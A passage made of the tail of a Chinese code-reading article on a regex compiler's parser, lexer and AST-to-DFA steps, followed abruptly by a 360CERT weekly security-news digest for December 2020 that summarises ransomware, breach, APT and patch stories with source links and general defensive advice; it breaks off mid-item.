{ (yyval.regexp) = ast_iter((yyvsp[-1].regexp), 0, 1); }
#line 1274 "lib/parse.cc" /* yacc.c:1651 */
break;
case 11:
#line 68 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_iter((yyvsp[-1].regexp), (yyvsp[0].bounds).min, (yyvsp[0].bounds).max); }
#line 1280 "lib/parse.cc" /* yacc.c:1651 */
break;
case 13:
#line 73 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_cap(ast_nil(NOWHERE)); }
#line 1286 "lib/parse.cc" /* yacc.c:1651 */
break;
case 14:
#line 74 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_cap((yyvsp[-1].regexp)); }
#line 1292 "lib/parse.cc" /* yacc.c:1651 */
break;
#line 1296 "lib/parse.cc" /* yacc.c:1651 */
default: break;
}
将分析之后的结构插入AST中
lex.cc
if (yych <= '>') {
if (yych <= '\'') {
if (yych <= 0x00) goto yy2;
if (yych == '$') goto yy6;
goto yy4;
} else {
if (yych <= '+') goto yy8;
if (yych == '.') goto yy10;
goto yy4;
}
} else {
if (yych <= ']') {
if (yych <= '?') goto yy8;
if (yych == '[') goto yy12;
goto yy4;
} else {
if (yych <= 'z') {
if (yych <= '^') goto yy6;
goto yy4;
} else {
if (yych <= '{') goto yy14;
if (yych <= '|') goto yy8;
goto yy4;
}
}
}
根据特殊符号进行不同跳转
yy2 遇到空格之类的处理下一个字符
yy2:
++cur;
#line 42 "../lib/lex.re" //nil { return 0; }
{ return 0; }
#line 103 "lib/lex.cc" //yy4 ++cur
yy6 获取变量
yy6:
++cur;
#line 46 "../lib/lex.re" /*[$^] {
error("anchors are not supported");
return TOKEN_ERROR;
}*/
{
error("anchors are not supported");
return TOKEN_ERROR;
}
#line 123 "lib/lex.cc" //yy8
yy8遇到()|*+?则变量名匹配结束。
yy8:
++cur;
#line 44 "../lib/lex.re" //[()|*+?] { return cur[-1]; }
{ return cur[-1]; }
#line 128 "lib/lex.cc" //yy10
yy10遇到 . 插入AST
yy10:
++cur;
#line 72 "../lib/lex.re" // .
{
yylval.regexp = ast_dot(NOWHERE);
return TOKEN_REGEXP;
}
#line 136 "lib/lex.cc" //yy12
yy12
yy12:
yych = *++cur;
if (yych == '^') goto yy15;
#line 52 "../lib/lex.re" // [
{ goto cls; }
#line 142 "lib/lex.cc" //yy14
yy14 获取数字
yy14:
yych = *(mar = ++cur);
if (yych <= '/') goto yy5;
if (yych <= '9') {
yyt1 = cur;
goto yy17;
}
goto yy5;
yy17 获取数字
yy17:
yych = *++cur;
if (yybm[0+yych] & 128) {
goto yy17;
}
if (yych == ',') goto yy20;
if (yych == '}') goto yy21;
其他的逻辑也是类似一个字符一个字符分析进行跳转。
compile.cc
static smart_ptr<DFA> ast_to_dfa(const spec_t &spec, Output &output)
{
const opt_t *opts = output.block().opts;
const loc_t &loc = output.block().loc;
Msg &msg = output.msg;
const std::vector<ASTRule> &rules = spec.rules;
const std::string
&cond = spec.name,
name = make_name(output, cond, loc),
&setup = spec.setup.empty() ? "" : spec.setup[0]->text;
RangeMgr rangemgr;
RESpec re(rules, opts, msg, rangemgr);
split_charset(re);
find_fixed_tags(re);
insert_default_tags(re);
warn_nullable(re, cond);
nfa_t nfa(re);
DDUMP_NFA(opts, nfa);
dfa_t dfa(nfa, spec.def_rule, spec.eof_rule);
determinization(nfa, dfa, opts, msg, cond);
DDUMP_DFA_DET(opts, dfa);
rangemgr.clear();
// skeleton must be constructed after DFA construction
// but prior to any other DFA transformations
Skeleton skeleton(dfa, opts, name, cond, loc, msg);
warn_undefined_control_flow(skeleton);
if (opts->target == TARGET_SKELETON) {
emit_data(skeleton);
}
cutoff_dead_rules(dfa, opts, cond, msg);
insert_fallback_tags(opts, dfa);
// try to minimize the number of tag variables
compact_and_optimize_tags(opts, dfa);
DDUMP_DFA_TAGOPT(opts, dfa);
freeze_tags(dfa);
minimization(dfa, opts->dfa_minimization);
DDUMP_DFA_MIN(opts, dfa);
// find strongly connected components and calculate argument to YYFILL
std::vector<size_t> fill;
fillpoints(dfa, fill);
// ADFA stands for 'DFA with actions'
DFA *adfa = new DFA(dfa, fill, skeleton.sizeof_key, loc, name, cond,
setup, opts, msg);
// see note [reordering DFA states]
adfa->reorder();
// skeleton is constructed, do further DFA transformations
adfa->prepare(opts);
DDUMP_ADFA(opts, *adfa);
// finally gather overall DFA statistics
adfa->calc_stats(output.block());
// accumulate global statistics from this particular DFA
output.max_fill = std::max(output.max_fill, adfa->max_fill);
output.max_nmatch = std::max(output.max_nmatch, adfa->max_nmatch);
if (adfa->need_accept) {
output.block().used_yyaccept = true;
}
return make_smart_ptr(adfa);
}
ast转DFA
将AST内容拆分，添加标签，生成NFA，输出NFA，转换成DFA，添加回溯标签，寻找最简DFA
## 最后
代码部分分析只是草草带过，依旧有很多不足。如果有什么问题，欢迎指教。 | 社区文章 |
# 安全事件周报（12.07-12.13）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 事件导览
本周收录安全事件 `54` 项，话题集中在 `漏洞修复` 、 `勒索软件` 方面，涉及的组织有： `QNAP` 、 `富士康` 、 `FireEye`、
`Starbucks` 等。数据买卖、数据盗窃频发，企业信息保护不可忽视。对此，360CERT建议使用 `360安全卫士` 进行病毒检测、使用
`360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE` 进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
恶意程序 | 等级
---|---
富士康遭勒索软件袭击，被勒索3400万美元赎金 | ★★★★★
勒索软件攻击受害者的备份系统 | ★★★★
支付卡掠取集团部署Raccoon恶意软件 | ★★★★
俄罗斯黑客将Zebrocy恶意软件隐藏在虚拟磁盘映像中 | ★★★★
Qbot恶意软件利用Windows自启动 | ★★★★
njRAT木马运营商使用Pastebin替代C2服务器 | ★★★★
StealthyTrident行动：公司软件受到攻击 | ★★★★
PgMiner僵尸网络爆破攻击PostgreSQL数据库 | ★★★★
Pay2Key黑客窃取英特尔Habana实验室的数据 | ★★★★
TrickBot使用被入侵的Subway UK营销系统进行网络钓鱼 | ★★★★
伊朗的RANA Android恶意软件监视通讯工具 | ★★★
勒索软件迫使托管提供商Netgain关闭数据中心 | ★★★
伊朗的Android间谍软件监听私人聊天 | ★★★
Adrozek恶意软件在多个浏览器中将广告悄悄地注入搜索结果 | ★★★
数据安全 |
黑客在一个暗网上出售超过85000个SQL数据库 | ★★★★★
25万个被盗的MySQL数据库在暗网出售 | ★★★★★
牙科诊所供应商遭黑客攻击，暴露了100多万名患者的信息 | ★★★★★
黑客泄露了世界第三大飞机制造商Embraer的数据 | ★★★★
新泽西州传真公司泄露56万多封电子邮件和加密密码 | ★★★★
科技公司UiPath遭受数据泄露 | ★★★★
意外暴露个人信息后，Spotify重设用户密码 | ★★★
网络攻击 |
安全公司FireEye披露了安全漏洞 | ★★★★★
挪威称俄罗斯黑客组织APT28是2020年8月议会黑客事件的幕后黑手 | ★★★★
新的鱼叉式钓鱼电子邮件模仿微软域名 | ★★★★
黑客将窃取工具隐藏在网站的CSS文件中 | ★★★★
SideWinder APT组织针对尼泊尔、阿富汗发起攻击 | ★★★★
欧洲药品管理局遭到网络攻击 | ★★★★
Cisco前工程师因发起黑客攻击被判2年监禁 | ★★★★
WordPress插件0day使成千上万的网站受到黑客攻击 | ★★★★
俄罗斯黑客利用新的VMware漏洞窃取数据 | ★★★
伪造的数据泄露告警用于窃取Ledger加密货币钱包 | ★★★
Facebook追踪APT32 OceanLotus黑客到越南的IT公司 | ★★★
CISA和FBI警告称黑客攻击K-12远程教育 | ★★★
其它事件 |
数以百万计的物联网设备面临TCP/IP堆栈漏洞的风险 | ★★★★★
严重的MDHexRay漏洞影响100多种医疗成像系统 | ★★★★★
青少年承认参与2016年震撼互联网的DDoS攻击 | ★★★★★
Microsoft团队报告的零点击可修复RCE漏洞 | ★★★★
PlayStation修复了严重的远程代码执行漏洞 | ★★★★
D-linkvpn路由器修复了远程命令注入漏洞 | ★★★★
微软2020年12月12日的补丁日修补了58个漏洞 | ★★★★
Adobe安全更新修复了Lightroom中的严重漏洞 | ★★★★
Apache修复了Struts 2中的代码执行漏洞 | ★★★★
Starbucks修复了移动平台中发现的远程代码执行漏洞 | ★★★★
Valve的Steam服务器漏洞让黑客劫持在线游戏 | ★★★★
Cisco修复了Jabber里的代码执行漏洞 | ★★★★
QNAP修复了能接管NAS设备的严重漏洞 | ★★★
所有Kubernetes版本受到未修复的中间人攻击漏洞的威胁 | ★★★
OpenSSL存在严重漏洞，请立即更新 | ★★★
比特币交易所运营商被判5年监禁 | ★★★
Google开源了Atheris，一个在Python代码中查找安全漏洞的工具 | ★★★
黑客使用WinZip不安全的服务器连接恶意软件 | ★★★
Sophos修复了Cyberoam OS中的SQL注入漏洞 | ★★★
Glassdoor公司审查平台发现严重CSRF漏洞 | ★★★
NI CompactRIO控制器漏洞可能导致生产中断 | ★★★
## 0x02 恶意程序
### 富士康遭勒索软件袭击，被勒索3400万美元赎金
日期: 2020年12月07日
等级: 高
作者: Lawrence Abrams
标签: Foxconn, Ransomware, Electronics, DoppelPaymer
2020年11月29日左右，富士康在墨西哥的一家工厂遭遇勒索软件攻击，攻击者窃取了未加密的文件，然后对设备进行加密。
富士康是全球最大的电子制造公司，2019年的营业收入达到1,720亿美元，在全球拥有超过80万名员工。富士康的子公司包括SharpCorporation，FIHMobile和Belkin。
2020年12月7日，DoppelPaymer勒索软件在其勒索软件数据泄漏站点上发布了属于富士康NA的文件。泄漏的数据包括常规业务文档和报告，但不包含任何财务信息或员工的个人详细信息。
详情
[Foxconn electronics giant hit by ransomware, $34 million
ransom](https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/)
### 勒索软件攻击受害者的备份系统
日期: 2020年12月07日
等级: 高
作者: Teri Robinson
标签: Clay Heuckendorf, Backup Systems, Ransomware, Ransom
在ClayHeuckendorf和他的团队成员无法预计为何某些客户的备份数据丢失之前，攻击者就已经发起了勒索软件攻击。
攻击者删除了客户的备份映像并激活了服务器中的勒索软件。恶意软件在服务器上运行了六个月，他们安装了一个密钥记录器。
备份攻击通常会在锁定和加密文件系统之前抹去组织的备份基础结构和存储快照，从而阻止备份数据的恢复，从而使攻击者能威胁公司支付赎金。
详情
[Ransomware attacks target backup systems, compromising the company ‘insurance
policy’](https://www.scmagazine.com/home/security-news/ransomware/ransomware-attacks-target-backup-systems-compromising-the-company-insurance-policy/)
### 支付卡掠取集团部署Raccoon恶意软件
日期: 2020年12月08日
等级: 高
作者: Akshaya Asokan
标签: FakeSecurity, Raccoon, JavaScript, Payment Card, Skimming Group
安全公司Group-IB称，一个名为 `FakeSecurity` 的 `JavaScript`
信用卡盗取者组织最近部署了Raccoon恶意软件，目的是针对电子商务网站窃取受害者的支付卡详细信息。
这些电子商务网站在2月至9月期间在四次独立的攻击中成为攻击者的目标，这些活动使用了几种策略来传递Raccoon恶意软件。
这些攻击主要依靠带有恶意文件的网络钓鱼邮件来传播恶意软件。
详情
[Payment Card Skimming Group Deployed Raccoon
Infostealer](https://www.databreachtoday.com/payment-card-skimming-group-deployed-raccoon-infostealer-a-15549)
### 俄罗斯黑客将Zebrocy恶意软件隐藏在虚拟磁盘映像中
日期: 2020年12月09日
等级: 高
作者: Ionut Ilascu
标签: Zebrocy, APT28, VHD, Malware, Spear Phishing
俄罗斯黑客将Zebrocy恶意软件打包在虚拟硬盘（VHD）中以避免被发现。 这种技术在最近
`APT28`(FancyBear,Sofacy,Strontium,Sednit)发起的鱼叉式钓鱼活动中被发现，钓鱼的最终目的是用 `Zebrocy`
工具的变体感染目标系统。 `Zebrocy`
支持多种编程语言（AutoIT，C++，C＃，Delphi，Go，VB.NET）。在最近的钓鱼活动中，攻击者选择了基于Golang的版本，而不是更常见的Delphi版本。
详情
[Russian hackers hide Zebrocy malware in virtual disk
images](https://www.bleepingcomputer.com/news/security/russian-hackers-hide-zebrocy-malware-in-virtual-disk-images/)
### Qbot恶意软件利用Windows自启动
日期: 2020年12月09日
等级: 高
作者: Sergiu Gatlan
标签: Qbot, Windows, Autostart, Cobalt Strike, Egregor
Qbot恶意软件的最新版本会在受感染的Windows设备关闭之前激活自身的持久性机制，并在系统重启或唤醒时自动删除所有痕迹。
Qbot（也称为Qakbot，Quakbot和Pinkslipbot）是一种Windows银行木马，具有蠕虫功能，至少从2009年开始活跃，用于窃取银行凭证，个人信息和财务数据。
该恶意软件存在键盘记录功能，可以在受感染计算机上安装后门、部署CobaltStrike、提供ProLock和Egregor勒索软件的payload。
详情
[Qbot malware switched to stealthy new Windows autostart
method](https://www.bleepingcomputer.com/news/security/qbot-malware-switched-to-stealthy-new-windows-autostart-method/)
### njRAT木马运营商使用Pastebin替代C2服务器
日期: 2020年12月10日
等级: 高
作者: Charlie Osborne
标签: C2, Pastebin, njRAT, Trojan, Payload, Botnet
njRAT远程访问木马（RAT）的运营商正在利用 `PastebinC2` 隧道来避免网络安全研究人员的审查。
2020年12月8日，PaloAltoNetworks公司的42号网络安全小组发现， `njRAT` （也称为 `Bladabindi` ）从
`Pastebin` 下载并执行`payload` ，替代了传统的命令控制（C2）服务器。 利用 `.NET` 开发的 `njRAT`
是一种广泛使用的特洛伊木马，它能够远程劫持受损机器，能够执行的功能有截屏、数据过滤、键盘记录等。
详情
[njRAT Trojan operators are now using Pastebin as alternative to central
command server](https://www.zdnet.com/article/njrat-trojan-operators-are-now-using-pastebin-as-alternative-to-central-command-server/)
### StealthyTrident行动：公司软件受到攻击
日期: 2020年12月10日
等级: 高
作者: MathieuTartare
标签: Able Desktop, Mongolia, HyperBro, Backdoor, LuckyMouse, TA428
ESET研究人员发现，聊天软件AbleDesktop是蒙古流行的业务管理软件的一部分，被蒙古430个政府机构使用，该聊天软件是用来给HyperBro提供后门的，研究人员还发现了与
`ShadowPad` 后门的连接，该连接现在至少被五个不同的攻击者使用。 研究人员认为 `Able` 更新系统自2020年6月以来一直遭到破坏。
详情
[Operation StealthyTrident: corporate software under
attack](https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/)
### PgMiner僵尸网络爆破攻击PostgreSQL数据库
日期: 2020年12月13日
等级: 高
作者: Catalin Cimpanu
标签: PgMiner, PostgreSQL, Brute Force, Miner
安全研究人员发现了一个僵尸网络操作，它针对PostgreSQL数据库安装加密货币miner，被命名为PgMiner。据研究人员称，僵尸网络的运作方式是对internet可访问的PostgreSQL数据库执行暴力攻击。僵尸网络随机选择一个公共网络范围（例如，18.xxx.xxx.xxx)然后遍历该范围内的所有IP地址，搜索在线公开PostgreSQL端口（端口5432）的系统。如果PgMiner发现了一个活动的PostgreSQL系统，僵尸网络将从扫描阶段移动到它的暴力破解阶段，试图猜测`postgres`
用户的密码。
目前 `PostgreSQL` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
详情
[PgMiner botnet attacks weakly secured PostgreSQL
databases](https://www.zdnet.com/article/pgminer-botnet-attacks-weakly-secured-postgresql-databases/)
### Pay2Key黑客窃取英特尔Habana实验室的数据
日期: 2020年12月13日
等级: 高
作者: Pierluigi Paganini
标签: Habana Labs, Intel, Pay2key, Chipmaker
英特尔旗下的人工智能芯片制造商Habana实验室遭到Pay2key勒索软件运营商的黑客攻击，攻击者在推特上声称窃取了敏感数据，其中包括一种代号为高迪（Gaudi）的新型人工智能芯片的信息。黑客共享了一个泄漏目录的链接，以及源代码和属于被黑客公司的内部进程的图像。黑客还声称已经进入了公司的域控制器，如果这是真的，这将表明他们能够破坏公司的所有组织网络。
详情
[Pay2Key hackers stole data from Intel’s Habana
Labs](https://securityaffairs.co/wordpress/112258/data-breach/pay2key-hacked-habana-labs.html)
### TrickBot使用被入侵的Subway UK营销系统进行网络钓鱼
日期: 2020年12月13日
等级: 高
作者: Pierluigi Paganini
标签: Subway UK, TrickBot, Excel, Phishing
黑客入侵了英国地铁公司的一个营销系统，并利用它发送网络钓鱼信息，向客户发送恶意软件。该恶意电子邮件内容是处理所谓的地铁订单，其中包括一个链接，指向一个恶意的Excel文档，这些Excel文档将安装最新版本的TrickBot恶意软件。英国地铁公司立即启动事件响应程序，并向受影响的客户发送预警通知电子邮件。
详情
[Hacked Subway UK marketing system used in TrickBot phishing
campaign](https://securityaffairs.co/wordpress/112248/data-breach/subway-uk-trickbot-phishing.html)
### 伊朗的RANA Android恶意软件监视通讯工具
日期: 2020年12月07日
等级: 中
作者: The Hacker News
标签: Android, Iranian, FBI, RANA
2020年12月7日，一组研究人员公布了一款以前未公开的 `Android` 间谍软件植入功能，该软件是由伊朗一个受制裁的黑客开发的。
该软件可以让攻击者监视流行即时通讯应用的私人聊天，强制Wi-Fi连接，自动接听特定号码的来电，以便窃听通话。
详情
[Iranian RANA Android Malware Also Spies On Instant
Messengers](https://thehackernews.com/2020/12/iranian-rana-android-malware-also-spies.html)
### 勒索软件迫使托管提供商Netgain关闭数据中心
日期: 2020年12月08日
等级: 中
作者: Lawrence Abrams
标签: Netgain, Cloud, Ransomware, Take Down , Cyberattack
2020年11月下旬，云托管和IT服务提供商Netgain在遭遇勒索软件攻击后，其部分数据中心下线。
Netgain为医疗保健和会计行业的公司提供托管和云IT解决方案，包括托管IT服务和桌面即服务环境。
Netgain声称他们是2020年11月24日勒索软件攻击的受害者。12月4日，客户开始收到来自 `Netgain`
的电子邮件，邮件里说由于主机托管提供商受到网络攻击，他们可能会遭遇系统宕机。
详情
[Ransomware forces hosting provider Netgain to take down data
centers](https://www.bleepingcomputer.com/news/security/ransomware-forces-hosting-provider-netgain-to-take-down-data-centers/)
### 伊朗的Android间谍软件监听私人聊天
日期: 2020年12月09日
等级: 中
作者: Prajeet Nair
标签: Android, ReversingLabs, APT 39, Spyware, Iranian
根据安全公司ReversingLabs的报告，Android间谍软件背后的黑客组织增加了新的功能，包括侦听 `Skype` ，`Instagram` 和
`WhatsApp` 上的私人聊天。 涉嫌开发该恶意软件的组织被称为 `APT39` ，也称为 `ChaferRemexi` ，`Cadelspy` 和
`ITG` 。 该组织被认为与伊朗政府有联系， `APT39` 和一家名为 `RanaIntelligenceComputingCo.`
的联营公司均由伊朗情报和安全部控制。
详情
[Iranian-Linked Android Spyware Sneaks Into Private
Chats](https://www.databreachtoday.com/iranian-linked-android-spyware-sneaks-into-private-chats-a-15556)
### Adrozek恶意软件在多个浏览器中将广告悄悄地注入搜索结果
日期: 2020年12月11日
等级: 中
作者: Pierluigi Paganini
标签: Microsoft, Adrozek, Browser, Extensions
微软警告称，一种名为 `Adrozek`
的新恶意软件会感染设备，并通过改变浏览器设置，在搜索结果页面中插入广告来劫持Chrome、Edge和Firefox浏览器。用户被重定向到欺诈域，在那里他们被诱骗安装了受污染的软件。攻击者通过附属广告项目赚取收入，这些项目按赞助附属网页的流量付费。
详情
[Adrozek malware silently inject ads into search results in multiple
browsers](https://securityaffairs.co/wordpress/112166/malware/adrozek-malware-campaign.html)
### 相关安全建议
1\. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
2\. 减少外网资源和不相关的业务，降低被攻击的风险
3\. 及时对系统及各个服务组件进行版本升级和补丁更新
4\. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
5\. 注重内部员工安全培训
6\. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
7\. 不盲目信任云端文件及链接
8\. 移动端不安装未知应用程序、不下载未知文件
9\. 勒索中招后，应及时断网，并第一时间联系安全部门或公司进行应急处理
10\. 网段之间进行隔离，避免造成大规模感染
## 0x03 数据安全
### 黑客在一个暗网上出售超过85000个SQL数据库
日期: 2020年12月10日
等级: 高
作者: Catalin Cimpanu
标签: SQL, Databases, Dark Web, ZDNet, Selling
目前有超过85,000个SQL数据库在暗网上出售，每个数据库的价格只需550美元。
该网站是ZDNet的安全研究人员于2020年12月10日发现的，本次泄漏是自2020年初以来一直在进行的数据库勒索计划的一部分。
黑客已经攻击了SQL数据库，从数据库中下载数据，删除数据库原始文件，并留下赎金记录，以让服务器所有者联系攻击者，以取回他们的数据。
详情
[Hackers are selling more than 85,000 SQL databases on a dark web
portal](https://www.zdnet.com/article/hackers-are-selling-more-than-85000-sql-databases-on-a-dark-web-portal/)
### 25万个被盗的MySQL数据库在暗网出售
日期: 2020年12月10日
等级: 高
作者: Ionut Ilascu
标签: BleepingComputer, Databases, MySQL, Dark Web
黑客在暗网上建立了一个拍卖网站，出售从数万个被入侵的MySQL服务器中窃取的25万个数据库。
整个数据库的大小为7TB，是数据库勒索业务的一部分，该业务自2020年10月以来急剧增加。
早在2020年5月份，BleepingComputer就报告说，一个攻击者正在从网上商店窃取SQL数据库，并威胁受害者，如果他们不支付比特币，就讲他们的数据公开。
详情
[250,000 stolen MySQL databases for sale on dark web auction
site](https://www.bleepingcomputer.com/news/security/250-000-stolen-mysql-databases-for-sale-on-dark-web-auction-site/)
### 牙科诊所供应商遭黑客攻击，暴露了100多万名患者的信息
日期: 2020年12月10日
等级: 高
作者: Marianne Kolbasuk McGee
标签: Florida, Dental Practices, Data Breach, Support Services
佛罗里达州的一家为20个州的数百家牙科诊所提供支持服务的公司表示遭到了黑客攻击，暴露了100多万名患者的信息，包括支付卡号。
该公司在其网站上称自己是美国规模最大、历史最悠久的牙科支持机构之一。 若联邦监管机构确认细节，该事件将是2020年迄今为止报道的最大的健康数据泄露事件之一。
根据提交给缅因州总检察长办公室的一份泄露通知报告，2020年10月11日，总部位于佛罗里达州萨拉索塔的 `DentalAllianceCare11`
发现了这起黑客事件。
详情
[Vendor to Dental Practices Hacked: 1 Million
Affected](https://www.databreachtoday.com/vendor-to-dental-practices-hacked-1-million-affected-a-15566)
### 黑客泄露了世界第三大飞机制造商Embraer的数据
日期: 2020年12月07日
等级: 高
作者: Catalin Cimpanu
标签: Embraer, Leak Data , RansomExx, Dark Web
巴西航空工业公司（Embraer）是继波音和空客之后的第三大飞机制造商，在2020年11月遭到勒索软件攻击。
2020年12月7日，由于巴西航空工业公司拒绝支付赎金，参与入侵的黑客泄露了一些公司的私人文件，作为报复。
巴西航空工业公司的文件泄漏在了一个暗网的网站上，该网站由勒索软件集团（RansomExx，也称为Defray777）管理。
详情
[Hackers leak data from Embraer, world’s third-largest airplane
maker](https://www.zdnet.com/article/hackers-leak-data-from-embraer-worlds-third-largest-airplane-maker/)
### 新泽西州传真公司泄露56万多封电子邮件和加密密码
日期: 2020年12月08日
等级: 高
作者: Bernard Meyer
标签: Fax Express, Russian, New Jersey, Leaked, Database
新泽西州的传真公司 `FaxExpress` 在一个俄罗斯的黑客论坛上泄露了超过56万客户的电子邮件和经过过滤的明文密码。 `FaxExpress`
是一家总部位于新泽西州的海洋公司，主要销售传真机、复印机、打印机、碎纸机和相关物品。`FaxExpress` 自1980年开始运营，至今已有40年历史。
详情
[New Jersey fax company leaks 560k+ emails and dehashed
passwords](https://cybernews.com/security/new-jersey-fax-company-leaks-560k-emails-dehashed-passwords/)
### 科技公司UiPath遭受数据泄露
日期: 2020年12月10日
等级: 高
作者: Catalin Cimpanu
标签: UiPath, ZDNet, Robotics, Leaked
科技公司UiPath是一家生产机器人自动化软件的初创公司，目前正在通过电子邮件向用户发送有关安全事件的信息，告知他们的个人信息在网上被泄露的安全事件。
该公司在2020年12月10日发给用户的一封电子邮件中写道：“2020年12月1日，UiPath发现了一起安全事件，该安全事件导致泄露了包含有关
`UiPathAcademy` 用户的个人信息文件。”
该文件包括真实姓名、电子邮件地址、用户名、公司名称、国家地点，以及UiPath在线学习平台UiPathAcademy注册用户的UiPath认证详细信息。
详情
[Tech unicorn UiPath discloses data
breach](https://www.zdnet.com/article/robotics-unicorn-uipath-discloses-data-breach/)
### 意外暴露个人信息后，Spotify重设用户密码
日期: 2020年12月11日
等级: 中
作者: Pierluigi Paganini
标签: Spotify, Vulnerability, Data Breach
Spotify通知用户，他们的个人信息可能在几个月内被无意中与某些业务合作伙伴共享。公司向加州司法部长提交了一份报告中称，2020年11月12日，Spotify系统中发现了一个漏洞，该漏洞无意中将您的Spotify帐户注册信息暴露给Spotify的某些业务伙伴，这些信息可能包括电子邮件地址、首选显示名、密码、性别和出生日期。”
详情
[Spotify reset user passwords after accidentally personal information
exposure](https://securityaffairs.co/wordpress/112215/data-breach/spotify-personal-information-exposure.html)
### 相关安全建议
1\. 及时备份数据并确保数据安全
2\. 合理设置服务器端各种文件的访问权限
3\. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
4\. 对于托管的云服务器(VPS)或者云数据库，务必做好防火墙策略以及身份认证等相关设置
5\. 及时检查并删除外泄敏感数据
6\. 管控内部员工数据使用规范，谨防数据泄露并及时做相关处理
7\. 严格做好主机的权限控制
## 0x04 网络攻击
### 安全公司FireEye披露了安全漏洞
日期: 2020年12月08日
等级: 高
作者: Catalin Cimpanu
标签: FireEye, Hacking Tools, State-sponsored Attack
全球最大的安全公司之一，FireEye2020年12月8日表示，它遭到了黑客攻击，攻击者访问了其内部网络，并窃取了FireEye用于测试其客户网络的黑客工具。
在2020年12月8日的新闻发布中，FireEye首席执行官KevinMandia表示，攻击者还搜索了与该公司某些政府客户有关的信息。
曼迪亚（Mandia）将攻击者描述为“高度复杂的攻击者”，其纪律，操作和技术使他们相信这是国家资助的黑客攻击。
详情
[FireEye, one of the world’s largest security firms, discloses security
breach](https://www.zdnet.com/article/fireeye-one-of-the-worlds-largest-security-firms-discloses-security-breach/)
### 挪威称俄罗斯黑客组织APT28是2020年8月议会黑客事件的幕后黑手
日期: 2020年12月08日
等级: 高
作者: Catalin Cimpanu
标签: Russia, the Norwegian Parliament, Norwegian, APT28, Parliament
挪威警察特勤局（PST）2020年12月8日称，APT28是俄罗斯的军事黑客组织之一，很可能是该组织的黑客入侵了挪威议会的电子邮件帐户。
挪威议会(Stortinget)的黑客事件在2020年9月1日被披露。
当时，Stortinget主管Marianne说，黑客侵入了议会的电子邮件系统，并进入了Stortinget员工和政府当选官员的收件箱。
详情
[Norway says Russian hacking group APT28 is behind August 2020 Parliament
hack](https://www.zdnet.com/article/norway-says-russian-hacking-group-apt28-is-behind-august-2020-parliament-hack/)
### 新的鱼叉式钓鱼电子邮件模仿微软域名
日期: 2020年12月08日
等级: 高
作者: Prajeet Nair
标签: Office 365, Microsoft, Ironscales, Spear Phishing, Domain
据安全公司Ironscales称，鱼叉式网络钓鱼活动正在模仿 `Microsoft.com` 官方域名，并以该公司 `Office365`
套件的用户为目标。
截止2020年12月8日，钓鱼邮件已经被在几千个邮箱中被发现，Ironscales的报告发现，近2亿office365用户可能面临危险，因为这些邮件来自一个完全复制
`Microsoft.com` 域名的欺骗域。
这些钓鱼电子邮件已经针对金融服务，医疗保健，保险，制造业，公用事业和电信行业中的Office365用户。在此次钓鱼攻击中，攻击者试图获取用户的凭据。
详情
[Fresh Spear-Phishing Email Spoofs Microsoft
Domain](https://www.databreachtoday.com/fresh-spear-phishing-email-spoofs-microsoft-domain-a-15547)
### 黑客将窃取工具隐藏在网站的CSS文件中
日期: 2020年12月09日
等级: 高
作者: Catalin Cimpanu
标签: JavaScript, Web Skimmer, CSS, Magecart, Credit Card
在过去的两年中，网络犯罪组织使用了各种各样的技巧来将信用卡盗窃代码（也称为网络窃取工具或 `Magecart`
脚本）隐藏在在线商店的各个位置，以防止被发现。
过去发现的窃取工具的地方包括内部图像，例如网站图标或者社交媒体网络的图像、附加到流行的JavaScript库（如jQuery，Modernizr和Google跟踪代码管理器）或隐藏在网站小部件（例如实时聊天窗口）中。
在最新的攻击中，黑客将窃取工具隐藏在网站的CSS文件中。
详情
[Hackers hide web skimmer inside a website’s CSS
files](https://www.zdnet.com/article/hackers-hide-web-skimmer-inside-a-websites-css-files/)
### SideWinder APT组织针对尼泊尔、阿富汗发起攻击
日期: 2020年12月09日
等级: 高
作者: Tara Seals
标签: SideWinder, Pakistan, Afghanistan, Phishing, Malware
SideWinderAPT组织利用印度，尼泊尔和巴基斯坦之间最近的争端作为诱饵，发起了新的网络钓鱼攻击、传播恶意软件。
目标是收集位于尼泊尔和阿富汗的目标敏感信息。 这次攻击主要利用看上去合法的 `webmail` 登录页面，目的是获取登陆凭证。
趋势科技的研究人员表示，这些网页是从受害者实际的邮件登录页面复制过来的，然后经过修改，变成了钓鱼网站。
详情
[SideWinder APT Targets Nepal, Afghanistan in Wide-Ranging Spy
Campaign](https://threatpost.com/sidewinder-apt-nepal-afghanistan-spy-campaign/162086/)
### 欧洲药品管理局遭到网络攻击
日期: 2020年12月09日
等级: 高
作者: Pierluigi Paganini
标签: The European Medicines Agency, Cyberattack, COVID-19
欧洲药品管理局（EMA）已成为网络攻击的目标。 EMA没有提供有关攻击的技术细节，也没有表明此次攻击是否对其运营生产 `COVID-19` 疫苗产生影响。
欧洲药品管理局在整个欧盟的 `COVID-19` 疫苗生产环节中起着至关重要的作用，它可以访问敏感和机密信息，包括试验产生的质量，安全性和有效性数据。
详情
[European Medicines Agency targeted by cyber
attack](https://securityaffairs.co/wordpress/112125/intelligence/european-medicines-agency-cyberattack.html)
### Cisco前工程师因发起黑客攻击被判2年监禁
日期: 2020年12月10日
等级: 高
作者: Prajeet Nair
标签: Cisco, Ex-Cisco Engineer, Prison, AWS
美国司法部200年12月9日宣布，前Cisco工程师被判入狱两年，此前他被控告黑客入侵Cisco，总共造成140万美元的损失。
据负责监管此案的美国加州北区检察官办公室称，2020年8月，31岁的苏迪什·卡萨巴·拉梅什(SudhishKasabaRamesh)承认了一项指控，即在未经授权的情况下，故意访问受保护的计算机，并不顾后果地造成损害。
`Ramesh`
